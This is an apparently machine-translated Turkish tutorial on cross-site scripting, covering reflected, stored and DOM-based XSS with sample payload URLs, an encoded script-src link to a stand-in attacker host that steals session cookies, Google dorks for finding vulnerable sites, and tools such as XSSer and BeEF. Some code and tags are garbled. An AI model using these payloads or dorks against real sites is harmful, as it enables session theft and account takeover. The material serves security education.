Tarayıcılar çok sayıda sitede birden çok çerez depolar. Her site yalnızca kendi başına kaydedilen çerezleri alabilir. Örneğin, example.com tarayıcınızda bazı çerezler depolamıştır. Another.com sitesini ziyaret ederseniz, bu site (istemci ve sunucu betikleri) example.com tarafından depolanan tanımlama bilgilerine erişemez.
Example.com sitesi XSS'ye karşı savunmasızsa, bu, bir şekilde JavaScript kodunu ona enjekte edebileceğimiz ve bu kodun example.com sitesi adına çalıştırılacağı anlamına gelir! Şunlar. bu kod, örneğin, example.com sitesinin çerezlerine erişim sağlayacaktır.
Herkesin JavaScript'in kullanıcının tarayıcılarında yürütüldüğünü hatırladığını düşünüyorum. XSS varlığında, enjekte edilen kötü amaçlı kod, web sitesi sayfasını açan kullanıcının verilerine erişim kazanır.
Enjekte edilen kod, JavaScript'in yapabileceği her şeyi yapabilir, yani:
- ziyaret edilen sitenin çerezlerine erişir
- sayfanın görünümünde herhangi bir değişiklik yapabilir
- panoya erişir
- tuş kaydediciler (basılan tuşların engelleyicileri) gibi JavaScript programlarını enjekte edebilir
- beEF'e bağlanın
En basit çerez örneği:
Aslında, uyarmak yalnızca XSS tespiti için kullanılır. Gerçek kötü niyetli yük, gizli eylemler gerçekleştirir. Saldırganın uzak sunucusuyla gizlice iletişim kurar ve çalınan verileri ona aktarır.
XSS görünümleri
XSS türleri hakkında anlaşılması gereken en önemli şey şudur:
- Depolandı (Kalıcı)
- Yansıyan (Süreksiz)
Sabitlere bir örnek:
- Bir saldırgan tarafından girilen ve sunucuya kaydedilen özel hazırlanmış bir ziyaretçi defteri mesajı (yorum, forum mesajı, profil), kullanıcılar bu sayfayı her görüntülemeyi istediğinde sunucudan indirilir.
- Bir saldırgan, örneğin SQL enjeksiyonu yoluyla sunucu verilerine erişim kazandı ve kullanıcıya gösterilen verilere kötü amaçlı JavaScript kodu (keylogger veya BeEF ile) enjekte etti.
Uçucu bir örnek:
- Sitede, veriler uygun şekilde filtrelenmemişken, arama sonuçlarıyla birlikte "Aradınız: [arama dizesi]" gibi bir şey gösteren bir arama var. Böyle bir sayfa sadece kendisine bağlantısı olanlara gösterildiğinden, saldırgan bağlantıyı diğer site kullanıcılarına gönderene kadar saldırı çalışmayacaktır. Kurbana bir bağlantı göndermek yerine, kötü niyetli bir komut dosyasının, kurban tarafından ziyaret edilen tarafsız bir siteye yerleştirilmesini kullanabilirsiniz.
Ayrıca ayırt ederler (bazıları bir tür uçucu XSS güvenlik açığı olarak, bazıları bu türün bir tür kalıcı XSS \u200b\u200bolabileceğini söylüyor):
- DOM modelleri
DOM tabanlı XSS \u200b\u200bözellikleri
Basitçe söylemek gerekirse, HTML kodunu açtığımızda "normal" kalıcı olmayan XSS'nin kötü amaçlı kodunu görebiliriz. Örneğin, şöyle bir bağlantı oluşturulur:
Http://example.com/search.php?q\u003d "/\u003e
Ve kaynak HTML kodunu açarken şöyle bir şey görüyoruz:
< div class = "m__search" > < form method = "get" action = "/search.php" > < input type = "text" class = "ui-input query" name = "q" value = "" /> < script >uyarı (1) script >" /> < button type = "submit" class = "ui-button" >Bulmak button > form >
Ve DOM XSS, tarayıcıda anında oluşan DOM yapısını değiştirir ve kötü amaçlı kodu yalnızca oluşan DOM yapısını görüntülediğimizde görebiliriz. Bu HTML'yi değiştirmez. Bu kodu örnek olarak alalım:
< html > < head > < title >site ::: DOM XSS title > < meta charset = "UTF-8" > < meta name = "viewport" content = "width=device-width, initial-scale=1.0" > head > < body > < div id = "default" > Bir hata oluştu ... div > < script > function OnLoad () (var foundFrag \u003d get_fragment (); return foundFrag;) function get_fragment () (var r4c \u003d "(. *?)"; var results \u003d location.hash.match (". * input \u003d token (" + r4c + ");") if (sonuçlar) (document.getElementById ("varsayılan"). innerHTML \u003d ""; return (unescape (sonuçlar));) else (return null;)) display_session \u003d OnLoad (); document.write ("Oturum kimliğiniz:" + display_session + "< br >< br >") script > body > html >
Ardından tarayıcıda şunu göreceğiz:
Sayfanın kaynak kodu:
Adresi şu şekilde oluşturalım:
Http: //localhost/tests/XSS/dom_xss.html#input\u003dtokenAlex;
Sayfa artık şuna benzer:
Ama HTML kaynağına bir göz atalım:
Orada hiçbir şey değişmedi. Söylediğim gibi, kötü niyetli kodu ortaya çıkarmak için belgenin DOM yapısına bakmamız gerekiyor:
İşte XSS'nin çalışan bir prototipi, gerçek bir saldırı için daha karmaşık bir yüke ihtiyacımız var; bu, uygulamanın noktalı virgülden hemen sonra okumayı durdurması nedeniyle imkansızdır. uyarı (1); uyarı (2) artık mümkün değil. Ancak teşekkürler unescape () döndürülen verilerde şöyle bir yük kullanabiliriz:
Http: //localhost/tests/XSS/dom_xss.html#input\u003dtokenAlex;
Sembolü nerede değiştirdik ; URI kodlu eşdeğerine!
Artık kötü amaçlı bir JavaScript yükü yazabilir ve kurbanlara göndermek için bir bağlantı oluşturabiliriz, standart kalıcı olmayan siteler arası komut dosyası çalıştırmada yapıldığı gibi.
XSS Denetçisi
Google Chrome'da (ve şimdi Google Chrome motorunu kullanan Opera'da), şu sürprizle karşılaştım:
dom_xss.html: 30 XSS Denetçisi, "http: //localhost/tests/XSS/dom_xss.html#input\u003dtoken ‹script› uyarısında (1) bir komut dosyası yürütmeyi reddetti; ’Çünkü kaynak kodu istek içinde bulundu. Sunucu, "X-XSS-Protection" veya "Content-Security-Policy" üstbilgisi göndermediği için denetçi etkinleştirildi.
Şunlar. artık tarayıcıda XSS'yi engellemeye çalışan bir XSS denetçisi var. Firefox henüz bu işleve sahip değil, ancak sanırım bu an meselesi. Tarayıcılardaki uygulama başarılı olursa, XSS kullanımında önemli bir zorluktan bahsedebiliriz.
Modern tarayıcıların geçici XSS ve DOM tabanlı XSS \u200b\u200bgibi sorunların suistimalini sınırlamak için adımlar attığını hatırlamakta fayda var. Web sitelerini bir tarayıcı kullanarak test ederken bunun da hatırlanması gerekir - bu, web uygulamasının savunmasız olduğu ortaya çıkabilir, ancak tarayıcı onu engellediği için onay açılır penceresini görmezsiniz.
XSS istismarına örnekler
Siteler arası komut dosyası çalıştırma güvenlik açıklarından yararlanmak isteyen saldırganlar, her güvenlik açığı sınıfına farklı şekilde yaklaşmalıdır. Her sınıf için saldırı vektörleri burada açıklanmıştır.
XSS güvenlik açıkları ile saldırılar, saldırıyı web sitesinden yerel kullanıcı ortamına genişleten BeEF'i kullanabilir.
Uçucu bir XSS saldırısına bir örnek
1. Alice, Bob'un barındırdığı belirli bir web sitesini sık sık ziyaret eder. Bob'un web sitesi, Alice'in bir kullanıcı adı / şifre ile oturum açmasına ve ödeme bilgileri gibi hassas verileri kaydetmesine izin verir. Bir kullanıcı oturum açtığında, tarayıcı anlamsız karakterler gibi görünen yetkilendirme çerezlerini kaydeder, örn. her iki bilgisayar da (istemci ve sunucu) oturum açtığını hatırlar.
2. Malorie, Bob'un web sitesinde geçici bir XSS güvenlik açığı bulunduğunu belirtiyor:
2.1 Arama sayfasını ziyaret ederken, arama dizesini girer ve gönder düğmesine tıklar, eğer sonuç bulunamazsa, sayfa girilen arama dizesini ve ardından "bulunamadı" sözcüklerini görüntüler ve url gibi görünür http://bobssite.org?q\u003d arama sorgusu
2.2 "" gibi normal bir arama terimiyle köpek"Yalnızca sayfa görüntüleniyor" köpek bulunamadı "ve url http://bobssite.org?q\u003d köpek, bu normal bir davranıştır.
2.3 Bununla birlikte, gibi anormal bir arama sorgusu :
2.3.1 Bir uyarı mesajı görünür ("xss" yazan).
2.3.2 Sayfa görüntüleri bulunamadı 'xss' metnini içeren bir hata mesajı ile birlikte.
2.3.3 kullanılabilir url http://bobssite.org?q\u003d
3. Mallory, güvenlik açığından yararlanmak için bir URL oluşturur:
3.1 URL'yi yapıyor http://bobssite.org?q\u003dpuppies ... ASCII karakterlerini onaltılık biçime dönüştürmeyi seçebilir, örneğin: http://bobssite.org?q\u003dpuppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E insanların kötü amaçlı URL'nin şifresini anında çözmesini engellemek için.
3.2 Bob'un sitesinin şüphelenmeyen bazı üyelerine "Havalı köpeklere bakın" diyen bir e-posta gönderiyor.
4. Alice bir mektup alır. Köpekleri sever ve bağlantıya tıklar. Aramada Bob'un sitesine gider, hiçbir şey bulamaz, "köpek bulunamadı" mesajını görüntüler ve tam ortada bir komut dosyası içeren bir etiket başlatır (ekranda görünmez), Malory'nin authstealer.js programını yükler ve çalıştırır (bir XSS saldırısını tetikler). Alice bunu unutur.
5. authstealer.js programı, Alice'in tarayıcısında Bob'un web sitesinden geliyormuş gibi çalışır. Alice'in yetkilendirme tanımlama bilgilerinin bir kopyasını alır ve bunları, Malorie'nin bunları aldığı Malory'nin sunucusuna gönderir.
7. Malorie artık içeride olduğuna göre, web sitesinin ödeme bölümüne gider, arar ve Alice'in kredi kartı numarasının bir kopyasını çalar. Sonra gider ve şifreyi değiştirir, yani şimdi Alice artık içeri giremez bile.
8. Bir sonraki adımı atmaya karar verir ve bu şekilde oluşturulan bağlantıyı Bob'a gönderir ve böylece Bob'un sitesinin yönetici ayrıcalıklarını elde eder.
Kalıcı XSS \u200b\u200bsaldırısı
- Malorie'nin Bob'un web sitesinde bir hesabı var.
- Malorie, Bob'un web sitesinde kalıcı bir XSS güvenlik açığı bulunduğunu fark eder. Yeni bir bölüme giderseniz, bir yorum yayınlayın, ardından içine yazılanları görüntüler. Ancak yorum metni HTML etiketleri içeriyorsa, bu etiketler oldukları gibi görüntülenir ve tüm komut dosyası etiketleri çalıştırılır.
- Malorie, Haberler bölümündeki makaleyi okur ve Yorumlar bölümüne bir yorum yazar. Metni yoruma ekler:
- Bu hikayede köpekleri çok sevdim. Çok güzeller!
- Alice (veya başka biri) bu yorumun olduğu sayfayı yüklediğinde, Malory'nin komut dosyası etiketi tetiklenir ve Alice'in yetkilendirme çerezlerini çalar, toplanması için Malorie'in gizli sunucusuna gönderir.
- Malorie artık Alice'in oturumunu durdurabilir ve Alice'in kimliğine bürünebilir.
XSS'ye karşı savunmasız siteler bulun
XSS yolları
İlk adım, XSS saldırıları yapacağımız siteleri seçmektir. Web siteleri Google Dorks kullanılarak aranabilir. İşte kopyalayıp Google Arama’ya yapıştırabileceğiniz bu salaklardan birkaçı:
- inurl: search.php? q \u003d
- inurl: .php? q \u003d
- inurl: search.php
- inurl: .php? arama \u003d
Önümüzde bir site listesi açılacak. Siteyi açmanız ve üzerinde geri bildirim formu, giriş formu, site araması gibi giriş alanları bulmanız gerekir.
Otomatik olarak güncellenen popüler web uygulamalarında güvenlik açıklarını aramanın neredeyse faydasız olduğunu hemen belirtmek isterim. Böyle bir uygulamanın klasik bir örneği WordPress'tir. Aslında WordPress'te ve özellikle eklentilerinde güvenlik açıkları var. Ayrıca, WordPress motorunu (web yöneticisinin kaynak kodunda bazı değişiklikler yapması nedeniyle) veya eklenti ve temaları (genellikle korsan eklentiler ve temalar) güncellemeyen birçok site vardır. Ancak bu bölümü okuyor ve ondan yeni bir şeyler öğreniyorsanız, o zaman WordPress henüz size göre değil ... Kesinlikle daha sonra geri döneceğiz.
En iyi hedefler, çeşitli özel motorlar ve komut dosyalarıdır.
Ekleme yükü olarak seçebilirsiniz
Enjekte edilen kodunuzun hangi HTML etiketlerine denk geldiğine dikkat edin. İşte tipik bir giriş alanı örneği
< input type = "text" class = "ui-input query" name = "q" value = "yastık kılıfı" />< script >uyarı (1) script >< input value = "" />
Yükümüz artık "yastık kılıfı" kelimesinin olduğu yere gidecek. Şunlar. etiket değerine dönüşmek giriş... Çift alıntıyı ve ardından etiketi kapatarak bunu önleyebiliriz. «/>
"/>
XSS güvenlik açıklarını aramak ve taramak için programlar
Muhtemelen tüm web uygulama tarayıcılarında yerleşik bir XSS güvenlik açığı tarayıcısı vardır. Bu konu kapsamlı değildir, bu tür tarayıcıların her birini ayrı ayrı tanımak daha iyidir.
XSS güvenlik açıklarını taramak için özel araçlar da vardır. Bunların arasında özellikle şunlar vurgulanabilir:
- XSSer, farklı filtreleme yöntemlerini kullanabilen ve filtrelemeyi atlayabilen güçlü bir tarayıcı değil, aynı zamanda XSS'ye karşı savunmasız siteleri (aptallar tarafından) bulmak için otomatikleştirilmiş bir araçtır. Güvenlik açıkları bulunan siteler için, gerçek bir saldırı için yük enjekte edebilir;
- XssPy ayrıca, bir sitenin tüm sayfalarını (alt alan adlarındakiler dahil) bulabilen ve bu sayfalardaki tüm giriş öğelerini kontrol edebilen oldukça bağımsız bir araçtır;
- BruteXSS - bu aracın olumlu bir özelliği, yanlış pozitiflerin tamamen ortadan kaldırılmasıdır.
XSS Testi için Savunmasız Web Uygulamaları
Savunmasız web uygulamalarının çoğu (bazı çok özelleşmiş olanlar hariç) XSS'ye karşı savunmasız olan siteleri içerir. En iyi seçenek, bunları test etmek için birçok uygulama toplayan Dojo bağımsız öğrenme ortamında kullanmaktır. Örneğin, XSS'yi tanımlama ve çalıştırma becerileriniz şu konularda eğitilebilir:
Lanet Savunmasız Web Uygulaması (DVWA):
- http: // localhost / dvwa / güvenlik açıkları / xss_r / (uçucu XSS)
- http: // localhost / dvwa / güvenlik açıkları / xss_s / (depolanan XSS)
Mutillidae / NOWASP (birçok farklı XSS \u200b\u200bvaryasyonu)
- http: // localhost / mutillidae /
Siteler Arası Komut Dosyası (kısaca XSS), birçok web uygulamasını etkileyen yaygın bir güvenlik açığıdır. Saldırganın, siteyi ziyaret eden kullanıcının tarayıcısı kodu çalıştıracak şekilde bir web sitesine kötü amaçlı kod enjekte etmesine olanak tanır.
Tipik olarak, bu tür bir güvenlik açığından yararlanmak, kullanıcıyla bir miktar etkileşim gerektirir: ya sosyal mühendislik kullanarak virüslü bir siteye çekilir ya da siteyi ziyaret etmesini beklerler. Bu nedenle, geliştiriciler genellikle XSS güvenlik açıklarını ciddiye almazlar.
Ancak ele alınmazlarsa, ciddi bir güvenlik tehdidi oluşturabilirler.
Diyelim ki WordPress yönetici panelinde yeni içerik ekliyoruz. Bunun için XSS'ye karşı savunmasız bir eklenti kullanırsak, tarayıcıyı yeni bir yönetici oluşturmaya, içeriği değiştirmeye ve başka kötü niyetli eylemler gerçekleştirmeye zorlayabilir. Siteler arası komut dosyası oluşturma, bir saldırgana bugünlerde en önemli yazılım parçası olan tarayıcı üzerinde neredeyse tam kontrol sağlar.
XSS: Enjeksiyon Güvenlik Açığı
Herhangi bir web sitesi veya uygulamanın birden çok veri giriş konumu vardır - URL'nin kendisine kadar form alanları. Veri girişinin en basit örneği, bir forma bir kullanıcı adı ve şifre girdiğimiz zamandır:
İsmimiz, gelecekte bizimle iletişime geçmeniz için sitenin veritabanında saklanacaktır. Elbette, herhangi bir siteye giriş yaptığınızda, "Hoş Geldiniz, Ilya" tarzında kişisel bir selamlama gördünüz.
Bu amaçla, kullanıcı adları veritabanında saklanır.
Enjeksiyon, bir ad veya parola yerine özel bir karakter dizisi girildiğinde sunucuyu veya tarayıcıyı saldırganın ihtiyaç duyduğu belirli bir şekilde yanıt vermeye zorlayan bir prosedürdür.
Siteler arası komut dosyası oluşturma, bir web sitesi adına tarayıcıda eylemleri yürütecek kodu enjekte eden bir enjeksiyondur. Bu, kullanıcının bilgisi olmadan hem kullanıcının bildirimiyle hem de arka planda olabilir.
Geleneksel XSS saldırıları:
Yansıtılmış (süreksiz).
Yansıyan bir XSS saldırısı, bir kullanıcı özel hazırlanmış bir bağlantıya tıkladığında tetiklenir.
Bu güvenlik açıkları, bir web istemcisi tarafından, çoğunlukla HTTP istek parametrelerinde veya HTML biçiminde sağlanan veriler, uygun işlem yapılmadan, o istemci için bir sonuç sayfasını ayrıştırmak ve görüntülemek için doğrudan sunucu tarafındaki komut dosyaları tarafından yürütüldüğünde ortaya çıkar.
Saklandı (kalıcı).
Depolanan XSS, bir saldırganın orijinal sayfaya her erişildiğinde tarayıcıda çalışan sunucuya kötü amaçlı kod enjekte edebilmesi durumunda mümkündür. Bu güvenlik açığının klasik bir örneği, HTML yorumlarına izin veren forumlardır.
İstemci tarafı kodunun neden olduğu güvenlik açıkları (JavaScript, Visual Basic, Flash vb.):
DOM modelleri olarak da bilinir:
Yansıtılmış (süreksiz).
Sunucu tarafında olduğu gibi, sadece bu durumda, kodun tarayıcı tarafından işlenmesi nedeniyle saldırı mümkündür.
Saklandı (kalıcı).
Sunucu tarafında depolanan XSS'ye benzer şekilde, yalnızca bu durumda kötü amaçlı bileşen tarayıcı depolaması kullanılarak istemci tarafında depolanır.
XSS güvenlik açıklarına örnekler.
İlginç bir şekilde, bu güvenlik açığının açıklandığı çoğu durumda, bizi aşağıdaki kodla korkuturlar:
Http://www.site.com/page.php?var\u003d
İki tür XSS güvenlik açığı vardır - pasif ve aktif.
Aktif güvenlik açığı daha tehlikelidir, çünkü saldırganın kurbanı özel bir bağlantı kullanarak cezbetmesi gerekmediğinden, sadece kodu veritabanına veya sunucudaki bir dosyaya enjekte etmesi gerekir. Böylece tüm site ziyaretçileri otomatik olarak mağdur olur. Örneğin SQL Enjeksiyonu kullanılarak entegre edilebilir. Bu nedenle, ekleme sırasında işlenmiş olsa bile veritabanında depolanan verilere güvenmemelisiniz.
Misal pasif güvenlik açığı makalenin en başında bulunabilir. Burada sosyal mühendisliğe zaten ihtiyaç vardır, örneğin, bir yedekten geri yükledikten sonra hesabınızın ayarlarını kontrol etme isteği ile site yönetiminden önemli bir mektup. Buna göre, mağdurun adresini bilmeniz veya sadece bir spam postası ayarlamanız veya bazı forumlarda yayınlamanız gerekir ve hatta mağdurların saf olacağı ve bağlantınıza tıklamanız gerekmez.
Ayrıca hem POST hem de GET parametreleri pasif güvenlik açığına maruz kalabilir. POST parametreleri ile elbette hilelere gitmelisiniz. Örneğin, saldırganın web sitesinden yönlendirme.